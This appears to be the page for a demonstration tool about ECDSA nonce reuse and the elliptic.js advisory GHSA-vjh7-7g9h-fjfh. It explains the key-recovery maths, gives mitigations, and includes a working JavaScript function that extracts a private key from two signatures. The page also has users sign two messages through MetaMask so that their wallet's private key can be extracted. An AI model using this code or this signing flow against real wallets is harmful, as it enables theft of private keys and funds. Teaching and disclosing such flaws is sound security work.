This tool demonstrates the k-value reuse vulnerability in ECDSA signatures, as well as the recently discovered malformed input handling vulnerability in the elliptic.js library.
ECDSA signature security heavily depends on the uniqueness of the random number k. If the same k value is used to sign different messages, an attacker can recover the private key from these two signatures.
The recently discovered elliptic.js library vulnerability (GHSA-vjh7-7g9h-fjfh) allows attackers to extract private keys by constructing specific inputs, even when a user has only signed once.
1. Click the "Connect Wallet" button
2. Choose an implementation method (String or BN)
3. Enter or select a transaction hash
4. Click "Test Vulnerability" button
5. MetaMask will request two signatures, please confirm both
6. Observe the results to see if the private key was successfully extracted
- Upgrade to elliptic.js 6.6.1 or higher
- Use libraries that support hedged signatures
- Be cautious when signing any messages, especially from untrusted applications
Please select an implementation method below, enter a transaction hash, and then click the corresponding button to test. This demonstration will request you to sign two different messages and will attempt to extract your private key from the signatures.
In ECDSA signature algorithm, a unique random number k needs to be generated for each signature. If the same k value is used to sign different messages, an attacker can mathematically extract the private key from these two signatures.
ECDSA Signature Process:
k = rand() // Random method
k = combine(d, m) // Deterministic method, RFC 6979
R = G × k
r = R.x mod n
s = k^-1 ⋅ (m + d⋅r) mod n
sig = r || s
If two different messages m1 and m2 are signed using the same k value, generating signatures (r, s1) and (r, s2), an attacker can:
s1 - s2 = (k^-1)⋅(m1 - m2) mod n
k = ((s1 - s2)^-1)⋅(m1 - m2) mod n
d = (r^-1)⋅(s1⋅k - m1) mod n
The vulnerability in the elliptic.js library lies in its input handling defect. During the process of converting to BN objects, different inputs may produce the same nonce value, causing signatures to use the same k value.
// Vulnerable code: msg = this._truncateToN(new BN(msg, 16)); // ... var nonce = msg.toArray('be', bytes);
Attackers can construct special inputs that generate the same nonce after conversion, leading to k reuse and ultimately leaking the private key.
To prevent k-value reuse vulnerabilities in ECDSA signatures, several approaches are available:
Signature Type | Implementation | Security Features |
---|---|---|
Random Signatures | k = rand() | Depends on random number generator quality |
Deterministic Signatures | k = combine(d, m) | Vulnerable to fault attacks |
Hedged Signatures | k = combine(d, m, rnd) | Protects against both RNG and fault attacks |
Recommended secure libraries include:
// Private key recovery mathematical process
function extract(msg0, msg1, sig0, sig1, curve) {
const ec = new EC(curve);
const n = ec.curve.n;
// Check if input is a hex string
function isHexString(str) {
if (typeof str !== 'string') return false;
return /^[\-0-9a-fA-F]+$/.test(str);
}
// Extract r and s from signatures
const sig0Clean = sig0.startsWith('0x') ? sig0.substring(2) : sig0;
const sig1Clean = sig1.startsWith('0x') ? sig1.substring(2) : sig1;
const r = new BN(sig0Clean.substring(0, 64), 16);
const s0 = new BN(sig0Clean.substring(64, 128), 16);
const s1 = new BN(sig1Clean.substring(64, 128), 16);
// Convert messages to BN objects
const m0 = isHexString(msg0) ? new BN(msg0, 'hex') : new BN(msg0);
const m1 = isHexString(msg1) ? new BN(msg1, 'hex') : new BN(msg1);
// Calculate differences
const s_diff = s1.sub(s0).umod(n);
const m_diff = m1.sub(m0).umod(n);
// Calculate k value and recover private key
const k = m_diff.mul(s_diff.invm(n)).umod(n);
const r_inv = r.invm(n);
const d = s1.mul(k).sub(m1).mul(r_inv).umod(n);
return d.toString('hex');
}